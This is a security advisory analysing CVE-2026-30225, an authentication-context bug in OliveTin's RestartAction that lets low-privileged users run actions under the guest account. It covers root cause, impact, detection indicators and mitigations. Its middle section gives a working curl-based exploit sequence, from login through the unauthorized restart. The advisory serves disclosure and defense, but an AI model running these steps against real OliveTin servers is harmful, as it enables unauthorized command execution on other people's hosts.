CVE-2026-30225: 
NixOS vulnerability analysis and mitigation

CVE-2026-30225 is an authentication context confusion vulnerability in OliveTin's RestartAction endpoint, classified as a privilege escalation and ACL bypass flaw. It affects all OliveTin versions prior to 3000.11.1 and was published on March 6, 2026, with a patch released on March 5, 2026. The vulnerability allows a low-privileged authenticated user to execute shell actions they are not authorized to run by exploiting the guest account fallback behavior. It carries a CVSS v3.1 base score of 4.3 (Medium) per NVD, though the GitHub advisory rates it at 5.3 (Moderate) (GitHub Advisory, Red Hat CVE).

The root cause is classified under CWE-250 (Execution with Unnecessary Privileges) and CWE-441 (Unintended Proxy or Intermediary / Confused Deputy). In the vulnerable code within service/internal/api/api.go, RestartAction constructs a new connect.Request object to call StartAction internally, but fails to copy the original caller's authentication headers or cookies into this synthetic request. As a result, auth.UserFromApiCall() in StartAction cannot resolve the original caller's identity and falls back to the guest user account. If the guest account is configured with exec: true while the authenticated caller has exec: false, the action executes with the guest's elevated permissions, bypassing ACL restrictions (GitHub Advisory, Patch Commit).

A low-privileged authenticated user can bypass ACL restrictions and execute arbitrary configured shell commands that their account is explicitly denied from running. Because OliveTin actions execute system-level shell commands, successful exploitation can lead to arbitrary file writes, sensitive data exposure, and potentially full host compromise depending on the privileges under which OliveTin runs. The integrity impact is the primary concern, as attackers can modify system state through unauthorized command execution; confidentiality and availability impacts depend on the specific shell actions configured (GitHub Advisory).

A detailed proof-of-concept exploit using curl commands is publicly available in the GitHub security advisory, providing a complete attack sequence from login through unauthorized command execution (GitHub Advisory). Exploitation requires a valid low-privileged account and a configuration where the guest account has broader exec permissions than the authenticated user. The EPSS score is 0.00189 (approximately 0.19%), indicating low but non-zero probability of exploitation in the wild. There is no current evidence of in-the-wild exploitation, no threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. Qualys has added detection for this vulnerability (detection ID 761789).

1. Reconnaissance: Identify an OliveTin instance running a version prior to 3000.11.1 where the guest account has exec: true and a restricted user has exec: false.
2. Authenticate as low-privileged user: Send a POST request to /olivetin.api.v1.OliveTinApiService/LocalUserLogin with valid low-privilege credentials and extract the session cookie (olivetin-sid-local).

   LOW_LOGIN=$(curl -sS -i -X POST http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
     -H 'Content-Type: application/json' \
     -d '{"username":"low","password":"lowpass"}')
   LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')

3. Trigger a blocked action to obtain a tracking ID: Call StartActionAndWait for a restricted action. The request will be denied, but an executionTrackingId is returned in the response.

   LOW_RUN=$(curl -sS -X POST http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
     -H 'Content-Type: application/json' \
     -H "Cookie: olivetin-sid-local=$LOW_SID" \
     -d '{"actionId":"restart_bypass_action"}')
   TRACKING_ID=$(printf '%s' "$LOW_RUN" | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)

4. Call RestartAction with the tracking ID: Send a POST to RestartAction using the low-privilege session cookie and the extracted tracking ID. The internal request loses authentication context and falls back to the guest user.

   curl -sS -X POST http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
     -H 'Content-Type: application/json' \
     -H "Cookie: olivetin-sid-local=$LOW_SID" \
     -d "{\"executionTrackingId\":\"$TRACKING_ID\"}"

5. Verify unauthorized execution: Confirm the shell action ran with guest privileges (e.g., check for the file created by the action: cat /tmp/olivetin_restart_bypass.txt) (GitHub Advisory).

• Network: Repeated POST requests to /olivetin.api.v1.OliveTinApiService/RestartAction from a low-privileged user session, especially following a denied StartActionAndWait request to the same action.
• Logs: OliveTin access logs showing a sequence of: (1) a blocked StartActionAndWait call for a restricted action, immediately followed by (2) a successful RestartAction call using the same session cookie — with the action executing under guest context.
• File System: Unexpected files created by OliveTin shell actions in locations such as /tmp/ (e.g., olivetin_restart_bypass.txt) or other paths writable by the OliveTin service account that should not have been triggered by the authenticated user.
• Process: Unexpected child processes spawned by the OliveTin service process corresponding to shell actions that the authenticated user's ACL should have blocked (GitHub Advisory).

Upgrade OliveTin to version 3000.11.1 or later, which fixes the vulnerability by properly resolving the authenticated user's identity within RestartAction before passing the execution request to the executor (OliveTin Release, Patch Commit). As an interim workaround, restrict the guest account's permissions by setting guest.exec: false in the OliveTin configuration, which eliminates the privilege escalation path even on unpatched versions. Additionally, review all ACL configurations to ensure the guest account has minimal permissions consistent with the principle of least privilege (GitHub Advisory).

The vulnerability was discovered and reported by security researcher Zwique, who also identified several other moderate-to-high severity issues in OliveTin that were patched in the same 3000.11.1 release, including a JWT Audience Validation Bypass (GHSA-g962-2j28-3cg9, HIGH) and a Session Fixation issue (OliveTin Release). A technical write-up was published at infinitsec.net shortly after disclosure. Red Hat tracked the CVE in their security database, and openSUSE issued a security announcement referencing the vulnerability (Red Hat CVE).